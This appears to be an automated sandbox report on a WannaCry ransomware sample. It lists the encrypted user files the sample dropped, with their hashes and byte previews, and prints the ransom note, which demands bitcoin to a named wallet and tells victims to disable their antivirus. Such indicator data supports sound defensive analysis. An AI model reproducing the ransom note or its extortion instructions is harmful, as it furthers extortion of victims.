                                                                                                                        Entropy (8bit):7.8261051313040415
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk2Rh3ULr06G9ZZ6epF7auaMuKoLYHmf7oEhYO5pNuEfBNUpJ8lnEA0g30A3Qqmm:bkix8oN9tpF+hXfLYKkapApCnEA075qX
                                                                                                                        MD5:0BEE511BFB9A8549C0A1B29A4728F6EA
                                                                                                                        SHA1:98C37B7FAF9B4E094A08306C764AD3332CC1E924
                                                                                                                        SHA-256:B0C32EF2529E7694A53D8B4E84F0D16A91B5AD80BD04E55287AF476597E44592
                                                                                                                        SHA-512:6874D821C664A17C3368909A9089DACA6E5919D728B86BA669A8D1FDF1206DA86BECDB5D12FF8B7742A677A2B0709F1185D54587A0C28CF595A9B993A77F5909
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....+,I...nw.T........D...T....c..~..G_x'.>nc...F.K"......!...e9.a..gw7.@)Sw..&.,s.....Ki9B).W....E..vW.........#..;|...{=B.....hG2=.?~%Us!b..}S....T`i.b.5.@5..[.Rf.Kw.(N.C..E_.......@.Y....<,{+.....x..D[X{Me.z..T7:.7..\{f.p.........#.w.BC56.V.`"k.b.)i................T<....._.L.%.Y..<6.X6\..7...:.G2..s)<...$..D...wy...Z.2Eq/..4.(...]./^.Z..y..E......p..Xf..X.e4..]...V......../:G...../C..I....C..F{.K..U-u.N...fm..N!.:/..1g.~........wH.{..{7..Q~...t.....\:..~.}AO.7'.``.w%S R....1..:.=..4..vj.Y5...k..+.....Y..W2.A...8.q........}S.......)..e...N..z-V.p9.t&.A?J..t..P......7$.1.J.mz........&.+...YZ.Fg..1.y}.}Nm..;...t..*f.......\.}k...@..6...2.........-..E./....N..|.u....9..k;.E24.A....Q...<O....I.....d.48l.F*.....\t.G.F3WetYy..=].....d.'.E|;1.x..{...#...).{..+.`....=.X..R..b..3.k...u.A.R..V.=.Q......_..9Pu9.b.Q.#.%...*...8.Fy.......*y.-!.{p.8.>Z.\N....);..o............{..X...[...n.=Y.vw6..a4.]a..CXA...r...h=X5..D+}..3+.T%.F...(.. 9v.J.K@`.ye

                                                                                                                        C:\Users\user\Documents\UOOJJOZIRH.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.769220314677269
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:fO0WeM8nca5YOn/6I0I2zBdJMpQSzoxFfdn:feeC3O0NddJvSUnfV
                                                                                                                        MD5:657247D6BDA6BD791F971C2CCDF5959D
                                                                                                                        SHA1:517CDD25AC9A5A1E164419F168D7E50B9596CE4D
                                                                                                                        SHA-256:DB2CCF0BC28934C6D2B684F7D0E44AE2027C3DAE93DEABEC30922721C606448A
                                                                                                                        SHA-512:422E280B694E5F69236858B6C138254534E6F792CDA2BED90510BD92FCBE704EF0CA56847611334396E0CE0630DDF3DBDCD76D4D9716CE956D14F1342EAFC91C
                                                                                                                        Malicious:false
                                                                                                                        Preview:j\.:.Y0.RMHgH....c..}.A|g|"Zh....%.4.q.B.o..+....U|.W.2...g.o..C..e.......)...A..S.XF......u#.......}F..So..Y:.....r.W$.x.6;i..c....l.@.....o......."..(@Y.Z..5..sa8n..T...y.1.....#.\.f....RMd.c....2..S....A)1'S.>/..w....$.{...g'..T..d..6......=....%...*.....x..Z..6.....O..+..?.o?...?...W.o.b.l..R..w.....As.AA.g....9\.)p.A........s....]..~....<t`.=-a..)0..f.=7....Kr......!.v....su.5...Y.?N..Qw. ..nX.@G`.e......a`.}m.Z..........@8H...=..Z..|8.N....Ma....n.eg...!......e.i...*.Sz.F"h......5.....;fr\).`u..Q...X..Z..]...=.....G.z. ...xb....C0..,..F.....Y.4...2J'..a`....$.Ag..M...........`....FD.w[Yt.(...V.a....Zj4+_.u..0...j."b...'U...t\.2.............s-.....H.U/v.R......<.TV...........6......U........{X....?...O.S..k...0....XlO..O.B...A]...h..p...u....'......F".....o.r../....<z...0..+Q..8:.....-"c.U....1..(.K...i.je..b+."&.....h.....7.d...c...\D.'......ij$..KG.v.?..@#V..[..76=../A......X.E.B......AM....?....S-....#..._...N..T.b.2]..viS_

                                                                                                                        C:\Users\user\Documents\UOOJJOZIRH.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.850813136925891
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkFPbG4RbbJU6lYWdIaoZmKzemq3ThRDeR3e3Yxy9:bk1bn/J/aQpoZE91ce3x9
                                                                                                                        MD5:D78BA5D777C53FE90C9593D4814F22BB
                                                                                                                        SHA1:EDBD1DFB5492ACE2E9BAF02C088C6718489A737F
                                                                                                                        SHA-256:5F6E44F834CFAA26F92E234FF01497049BCAE95C67EBBF85A1B5195AE2C57C5B
                                                                                                                        SHA-512:A70C1614F68488A03624D87987C6B071E5E70BF4AF73BBE8920391FE75A5E376C3A2B98C095C441746039F3E89D065606F0D8A7ACE02DDF95016D7572F54BC33
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......T...qP......Ak..]....v.m?..C._.....a3.I...m....M..[...V.&...L.......$/.J..U..'/.A.-...V.y.h..A4....R...... :[...}.%..'.!Q.....h.cZ.O..,.o....a..;....c!..y....\a9......M..hE..x@..r..pR.T.@..........\.'..@>k3.}..g.....E...bz...8.ar...............!....#../.P....d+8v....#..\.M0...E.9s.{Z..E.".$.+.`....S..v..|csQ.p....<.r....>..~A.}....f.....YJx.2...c..l.U@.u..{.<.V.{Wx.qm.a..#Y4^..q|......?...w.[.;.@/&.Y.LM..\...Ee.&...#....I.b`/......N..P.8..@ml.W\.!8.cs...q.6b.R...s.V.....W+......2....YW......Jz9.QK..U.{`.......M..H.<...T.|]..W.Y....>8..E^.....Y.,}.Mj0.P@D?r....d.-...H.3.....?<_.bB..L..;.b.....$...T...?z;..,<.....H;paw....Mm3KW...|......C.]..=.......(...h.4I..(.......F:.....m.v.0YZ...a..h\....D......jC..3t..0r...I..{.kx..}.N....%.Z..`.....%.9xa...b.T...I.u....*..r./.....L.lO.=...k.".z}.8..Fd...$......`...3.w..u....dXa..5_$.. P........_.a..$.....y.X.`./s.....d..\...[..++`27.....n..T<.T.-v!A...7..W...Q.E......

                                                                                                                        C:\Users\user\Documents\UOOJJOZIRH.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.850813136925891
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkFPbG4RbbJU6lYWdIaoZmKzemq3ThRDeR3e3Yxy9:bk1bn/J/aQpoZE91ce3x9
                                                                                                                        MD5:D78BA5D777C53FE90C9593D4814F22BB
                                                                                                                        SHA1:EDBD1DFB5492ACE2E9BAF02C088C6718489A737F
                                                                                                                        SHA-256:5F6E44F834CFAA26F92E234FF01497049BCAE95C67EBBF85A1B5195AE2C57C5B
                                                                                                                        SHA-512:A70C1614F68488A03624D87987C6B071E5E70BF4AF73BBE8920391FE75A5E376C3A2B98C095C441746039F3E89D065606F0D8A7ACE02DDF95016D7572F54BC33
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......T...qP......Ak..]....v.m?..C._.....a3.I...m....M..[...V.&...L.......$/.J..U..'/.A.-...V.y.h..A4....R...... :[...}.%..'.!Q.....h.cZ.O..,.o....a..;....c!..y....\a9......M..hE..x@..r..pR.T.@..........\.'..@>k3.}..g.....E...bz...8.ar...............!....#../.P....d+8v....#..\.M0...E.9s.{Z..E.".$.+.`....S..v..|csQ.p....<.r....>..~A.}....f.....YJx.2...c..l.U@.u..{.<.V.{Wx.qm.a..#Y4^..q|......?...w.[.;.@/&.Y.LM..\...Ee.&...#....I.b`/......N..P.8..@ml.W\.!8.cs...q.6b.R...s.V.....W+......2....YW......Jz9.QK..U.{`.......M..H.<...T.|]..W.Y....>8..E^.....Y.,}.Mj0.P@D?r....d.-...H.3.....?<_.bB..L..;.b.....$...T...?z;..,<.....H;paw....Mm3KW...|......C.]..=.......(...h.4I..(.......F:.....m.v.0YZ...a..h\....D......jC..3t..0r...I..{.kx..}.N....%.Z..`.....%.9xa...b.T...I.u....*..r./.....L.lO.=...k.".z}.8..Fd...$......`...3.w..u....dXa..5_$.. P........_.a..$.....y.X.`./s.....d..\...[..++`27.....n..T<.T.-v!A...7..W...Q.E......

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.798139540789374
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:RkuQEzHcU4xaJAt/C9UX1yGxveqq/Q+qCj9Wg4BbvwkO:mwz8U4lYUXomWqqT/ozBbHO
                                                                                                                        MD5:1DF85E869ECFE44914B58A2B2A90D3AA
                                                                                                                        SHA1:5E0CA1726FC012BEECFFD60C42EB1BA17B36D72F
                                                                                                                        SHA-256:7AA3C5CC612B5ADFC8BA49D35F38CEC8E67949EE45312C4D07C07030BE5999BD
                                                                                                                        SHA-512:E3B2CC41D2669511CB3A0F118F7EC865A3FD64772BA9CBCB370C7E754F37BE4662B3927DE8416F87A2A79E72B622C506214DB4E7E885466975A3B58909BB1404
                                                                                                                        Malicious:false
                                                                                                                        Preview:..?F.4........J.....%.l.z.s.|..#..}..^$Q.4+;...j$...)*"....bYs{~(eY.X.%z.\.6=`,...^n....0(h..i`.G._......1Ny.5.[...i..Zv.n4.:..B.^n7..."A.....y!.7....$.Y....!....R.YK.6..3.._.'.....R.FV....(.vi.WW._^.W..^.q...Qo..y..N.H......nC7e.........;.P_:....5...7...mi+B....?....J..pW...e..A.[..c.u.NJ.f._.I......M..@.?....p+...%.D..&=r..7.q.?..m..N~...a..g......h..G....P+.k.7..h6..<..T\I.............M.....P\2..R.{%......w..p...,...H?`e....`.G.A.r'.......r.1.....Cp.|6 ^.A....W,K)@. (P..L.......1?...}f&_.z..I.!.r.....k;+..B...".8y."....'.....j..-_...H.6..y...)......*............`..8_...3.\^........{C...!.5.Y:.f5.G..;..R.Z.N.JZ..9.0.8i.[.|...2...G..9....=*Q(.M.........:....2.....>w9.LG..Ud.t... .$.......18..E;.y?..K.E.l-7....D.R[.u..I$v.C.o~.R...A.B...O..X;.h5..6M...U..`...#k....=.T>.[......00...Kw...z .zAV..)`..+tZ-h..I.}QR.g..y.!9....Y..@s.f..e..2........z...c=J.j~.}.e...I.d..h...._.(.".X.....Q....n-...Uk..m....JYo..1.Q!K.[l... ..?.*Z.YaK

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.844713634661521
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkuFXANEnKT4hItr79JrJEh84yoevXwhiaOSrfTBiWJNG3VSPKagJJ4i:bkTO+7nGG4IwhBnG1NzD
                                                                                                                        MD5:4B619AE23365F9512E1EE212BAE98F18
                                                                                                                        SHA1:DA5F2F9FA147AA1935989DD123F43C61FF38552B
                                                                                                                        SHA-256:451C0CD68FA475ABBCEC6B1898AF0E3E3DDA3844DEC352F30AEDF8960F0470D4
                                                                                                                        SHA-512:E52E833269A90B01569B38D2225A333937C59B017A5E6A95675F7AF7A1E1697C1529D9D951ADE9BA81CEA6B463C870CB0E07EAFDD4E7BF55FEFFC4AA7DF8E0C7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....REh5.....EY..&,...Slu..0.J..Q.#mU...4.............b...WqL...vV...>. ..c.1."..Y.<.....tb.......e..D..yF.q..5.Wf.h...upF3.:. ....ST..A...@....}.)O....:..z.+v..$.@............C.*h.vx.........\.%m...!.m.......9iy4.;{.,Uz.....P..P..Q......M...7."F.D..-*.a.............w..6.@.P...u..pI#..Y.Xiw!..E...p.......g...z...`.J.....@./_..tMc.#.Bys...G}..Y.)..O....Z...../....j...4M..>.c89....#.fAt....}.P..n......m6.V..O.*.8.-....L...<)+....b%F0\...X.Y..j^.`|.u.;...(.W...H.0DLq...V.I.....m3..^f.C.pe$..-/I..xeX...x6K.c.|.kS...."z.-...5....X... ..9.[...F.R...?..3\!...q.Fh....-.~....!.j.c...o.-.8R|23.C..t...<+.R.\z>........B.@=m........U.....*0.%..>.....XE.i.d.a(hT..?.}mF...1JH..i...,...$.t..VZa.~HH.$q......+......R....w`$...<#.(.H.].L\E....~.@.B9.R.0fy........<k....VT.....q......H..c*hr..x.Q.+..XU..:.hf.c...F&...eH.N....N.R..zvw.@<.%<.f6...e$@..{..zn...pc+.,[z..^.{..nck.........[..^`.1......(..Y..b#.I[..6..>.e..F....Y....b...t.*O{...G...D..}.....L&.n.{

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.844713634661521
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkuFXANEnKT4hItr79JrJEh84yoevXwhiaOSrfTBiWJNG3VSPKagJJ4i:bkTO+7nGG4IwhBnG1NzD
                                                                                                                        MD5:4B619AE23365F9512E1EE212BAE98F18
                                                                                                                        SHA1:DA5F2F9FA147AA1935989DD123F43C61FF38552B
                                                                                                                        SHA-256:451C0CD68FA475ABBCEC6B1898AF0E3E3DDA3844DEC352F30AEDF8960F0470D4
                                                                                                                        SHA-512:E52E833269A90B01569B38D2225A333937C59B017A5E6A95675F7AF7A1E1697C1529D9D951ADE9BA81CEA6B463C870CB0E07EAFDD4E7BF55FEFFC4AA7DF8E0C7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....REh5.....EY..&,...Slu..0.J..Q.#mU...4.............b...WqL...vV...>. ..c.1."..Y.<.....tb.......e..D..yF.q..5.Wf.h...upF3.:. ....ST..A...@....}.)O....:..z.+v..$.@............C.*h.vx.........\.%m...!.m.......9iy4.;{.,Uz.....P..P..Q......M...7."F.D..-*.a.............w..6.@.P...u..pI#..Y.Xiw!..E...p.......g...z...`.J.....@./_..tMc.#.Bys...G}..Y.)..O....Z...../....j...4M..>.c89....#.fAt....}.P..n......m6.V..O.*.8.-....L...<)+....b%F0\...X.Y..j^.`|.u.;...(.W...H.0DLq...V.I.....m3..^f.C.pe$..-/I..xeX...x6K.c.|.kS...."z.-...5....X... ..9.[...F.R...?..3\!...q.Fh....-.~....!.j.c...o.-.8R|23.C..t...<+.R.\z>........B.@=m........U.....*0.%..>.....XE.i.d.a(hT..?.}mF...1JH..i...,...$.t..VZa.~HH.$q......+......R....w`$...<#.(.H.].L\E....~.@.B9.R.0fy........<k....VT.....q......H..c*hr..x.Q.+..XU..:.hf.c...F&...eH.N....N.R..zvw.@<.%<.f6...e$@..{..zn...pc+.,[z..^.{..nck.........[..^`.1......(..Y..b#.I[..6..>.e..F....Y....b...t.*O{...G...D..}.....L&.n.{

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.7957592519713375
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:sS76lpuDEhMIK882KzwwukTebDHZTOMr39wq5xkG+ZS02:sS7CED28882KcvkTWZTOU1oSF
                                                                                                                        MD5:7CE609CC9E717102432F68EF68E28E43
                                                                                                                        SHA1:D0B7EC0B4FE3FE24FC31E09AC2BA70208DFB2BA5
                                                                                                                        SHA-256:696E7F7EC9E9C480A410C818905462C774050C453FB47C3F8E0B18A72808708B
                                                                                                                        SHA-512:B6F7942464C23AEA4721880016201AE3F33ABD27E2740A76B131E2D1A29164BFA284D8DC16827913B0642A32596B7F73218169A3A3A73BC379B542B9A7CC8C2C
                                                                                                                        Malicious:false
                                                                                                                        Preview:..r.*..).....Y~....d..ESN...d`..f..{..r......-L."....j.B...9.../.... Nt.z.|w.J..tB....9.(.....!.~.T..._.vU...>F88.....!..n..r.. ek16..6..F..tJ...vh...[..IPp.Kg............|x.......N'.tr...{.[g.k|2.q. .*~...`..4.3.%}?.1z.eo.zf......?...j......9(.M.O..}...aH..u.1.4..tK....0.V.........HP...R.R00.n.x.....#n..=w..._.....1Q.@..:.f7........".{.4#*|L....(..wK^.6 V~........`..........r....4..O...V.`Z.*....Fa..p...5.bP.l...#'.).U].).J.#.g^.mU.A\.`Z.C7...X.l....%k.......\$..B.O.Zx..c.K.O.d.).KW9e...U...B..M.....+..Wt.a..;....P.7p:.,+m..i..Ux....ZzL..$;....}.....lg.x..Z]......3...s$...P.J$.I...4F/.P'GN@....7.]...'...xn.l..=Q|%...NH>_A`U../.f..v"(...m. `..iw....r._.Ug.L..........G'.j.o+.\.'.......v....;$zV.....,m..E....7...:...=.#...".....e....s.g.'..a.JuJ.w..,....tT...h-.......m....B...N.Rw..C.&6..2.Z|ip.......N.L...d.\..F..6.?...'9.'h..`...&J.#`....0V.;..,.5..X.KxV+............{e....pJ0T....1..=.}.R..C..r?.,..$!..0...D..7.5...~.+.I.2!.).FY0z..+....4d"...T.

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8509515579449864
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk9KqFEIQermEyyaAfs8jGPvY9h87u2ZWBWz5AVP+LdBb/ZBFKManeZPsvTD:bk9XFRQQmEydos8jEv4N2ZRz5NF1KMmB
                                                                                                                        MD5:6D29E7C7EC526FB8D4B33F1F5372BF9F
                                                                                                                        SHA1:FA41D8206632E6898FF3CEDFD9B76310B77EA1F7
                                                                                                                        SHA-256:3FF3D89D744B5FE5375FEA59A9B3CC111C7374E03ADC446316F543B1E5E01AD2
                                                                                                                        SHA-512:73BADA299CF1EABB71344EC189D498C08C7140AA574E3B7A3A1F28E9EFC72E1251AFEE975F6191787A40687E3ECC8B9DB33EB2728FACAE65245D7CDE7AF35378
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!...........@ .....b..o....R.V..'.@hG........S..$C........e....ko...TWl........4.......r...<.../...SUc.q.....%.0...d....A1.i..),}....wj..;3.kZ...d.YB/.,.=7.c".....p..y..$......x.O7.n+.n..R.7X.$.jt.}.;..../..R..,.\..}/>k..w.....p....^..6...b....:h|...............K_d.x.V.......UkAgc.%i|J..n..;..pjw....j....".}ip.i.l!..s...,...0..3..T...A.Cog..2.da...[..~N..;?.4.M..o....'.%.z..=8..O.E.A.A..DSH1..m.".z.O.Rt..hK......D.V..Hb}..JHk.....2..'gq..^.......">....,.&..{i_.D...x..N..0..Xv.V".!.4HV...a.t...} .*.E.i.A.....M..bj......c.E.......+.....=N............A].-.30a;.X.p.|.10.@....Y.3l..#..\...j....+ax..C.l..&.q$.."z.!H..Tnq",..l...'.....Y..M.+.I.P..n..3.X(1...0F.BZ.}5.f.Q.V..d.lA.&).G...^4&]td..U.....G..cF..D...W.....6..%.@IA...a.."..(.Zmr.FR,...A.x%....T..ok-.'~....4..V;.{o.V.1d.-..3.g......0.>.<..{...W...J.q^Il..X.2......y|#..DQ.C}u.t.,...... KWKY.*......#..g.I.|-.b..n8....C.!..r..3...vT.z....~...H......S.4y.sj^....P.....P.}....#.:.K..,...

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8509515579449864
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk9KqFEIQermEyyaAfs8jGPvY9h87u2ZWBWz5AVP+LdBb/ZBFKManeZPsvTD:bk9XFRQQmEydos8jEv4N2ZRz5NF1KMmB
                                                                                                                        MD5:6D29E7C7EC526FB8D4B33F1F5372BF9F
                                                                                                                        SHA1:FA41D8206632E6898FF3CEDFD9B76310B77EA1F7
                                                                                                                        SHA-256:3FF3D89D744B5FE5375FEA59A9B3CC111C7374E03ADC446316F543B1E5E01AD2
                                                                                                                        SHA-512:73BADA299CF1EABB71344EC189D498C08C7140AA574E3B7A3A1F28E9EFC72E1251AFEE975F6191787A40687E3ECC8B9DB33EB2728FACAE65245D7CDE7AF35378
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!...........@ .....b..o....R.V..'.@hG........S..$C........e....ko...TWl........4.......r...<.../...SUc.q.....%.0...d....A1.i..),}....wj..;3.kZ...d.YB/.,.=7.c".....p..y..$......x.O7.n+.n..R.7X.$.jt.}.;..../..R..,.\..}/>k..w.....p....^..6...b....:h|...............K_d.x.V.......UkAgc.%i|J..n..;..pjw....j....".}ip.i.l!..s...,...0..3..T...A.Cog..2.da...[..~N..;?.4.M..o....'.%.z..=8..O.E.A.A..DSH1..m.".z.O.Rt..hK......D.V..Hb}..JHk.....2..'gq..^.......">....,.&..{i_.D...x..N..0..Xv.V".!.4HV...a.t...} .*.E.i.A.....M..bj......c.E.......+.....=N............A].-.30a;.X.p.|.10.@....Y.3l..#..\...j....+ax..C.l..&.q$.."z.!H..Tnq",..l...'.....Y..M.+.I.P..n..3.X(1...0F.BZ.}5.f.Q.V..d.lA.&).G...^4&]td..U.....G..cF..D...W.....6..%.@IA...a.."..(.Zmr.FR,...A.x%....T..ok-.'~....4..V;.{o.V.1d.-..3.g......0.>.<..{...W...J.q^Il..X.2......y|#..DQ.C}u.t.,...... KWKY.*......#..g.I.|-.b..n8....C.!..r..3...vT.z....~...H......S.4y.sj^....P.....P.}....#.:.K..,...

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\BNAGMGSPLO.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.828661406741763
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:eNOk7r5nkFaPlBcqvpcmvRVOGDIgqToWsh/OMzlq:QHvJkFglWGDu8WsA0lq
                                                                                                                        MD5:78755540D94BDC97BE6AF94EE3B2EAE1
                                                                                                                        SHA1:3D69BB1BF3FF3FB6E8DD8E7E44F195A3C8AD7EAE
                                                                                                                        SHA-256:61743ACAFBA0172D0F8718AF6CBEFB16808FC7AE4414C69A3C2F9DAD90E99D0F
                                                                                                                        SHA-512:66C782D359B9CAD3D21903D5EBC1F23BD4BC29A6F07507570A51F077710FA3329E018F25EBE361EBC184C56CA2C5B04F545B893F68D6D702D78818398C07C9B5
                                                                                                                        Malicious:false
                                                                                                                        Preview:.K.Hc.s....R....4l$....uuG.lhNi.3".{d:.PN.P;[.g0.....A...kH6....(NtB".@~..1.A.&Ns.L..-..-PL.Q......^.e..d...8#].x...."v.Q0....d..[.+...ccU..a\....:....9n.w.|m.E....?.8..8f..A."....)$o...[^.....?.KbB..;..T.../.W.A.\uC...e&)F.V.k...[D..$..nv..T..<..e.q....8.... K....../..f...&.T~{<..5......4J..%..r..b.1.......4.H./_..Q2.W..U._....&C4.5l.W..X....=..f..T..t.z^..`.y.&........?......o.....h..]...Hh..31y9P,..b}.l.X..XQ..._.mY..{".h2..."..g..}..k...8.x.W....Bg..xwB...a<./..........aw5...v.r.=......|.`...}.....Gb+.G.%.........J.Vw.....8..Z&.....$.H.=..a..Dx..+.)G.L8.-E..w...k.V.e.+.............z..".......6)..T,Z......#.FW...C..I=4.........#4q..M!FS9?...h..N;g.#Qp.T.=.(.f.M.....brF.;..b...=P...=d%....>`2!..9.B...|.$...mz3..~.......A.f&...`$.....ec...m....d[Tw.....Q.}...<..5....Y*...^..;&..c.ny....r...@0..S.b .......H.....Q.X.y7.G.....z.yOI>......z6n!....gf....X.k.!O..q.B.....'X..V..@...0....wq...x.5.m....W..M{n.n.4...yZ8h...i..:.C>?.Xh..e..%m.f.,

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\BNAGMGSPLO.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.844236846801543
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk2qAF2qc75O/BDGCggZaN8EsBqIMzWPl4CCVOsMhiDDT9FEOBrOI2OOOAi2pU:bk2qAoowAZaN8EsBt4CCVOsMs9FEOBrf
                                                                                                                        MD5:EDFC8FF28FE7F4782A6A8CBD04488810
                                                                                                                        SHA1:AC47E7D088C39717F68F2C6A337D6BDD5AAD4A4C
                                                                                                                        SHA-256:B6889C1D005AA5E8B7B7A3C9A7D021655FD25661658D1DFD522AF5DCC8150D9B
                                                                                                                        SHA-512:636CC3B7EBE7263142D09ADDCA3E2F2BA938CB986E373BC68E416533A833582C274B81D0CE02416A40DA407E43CFE6B1567548B0854368EF194FA99F02BB75FA
                                                                                                                        Malicious:false
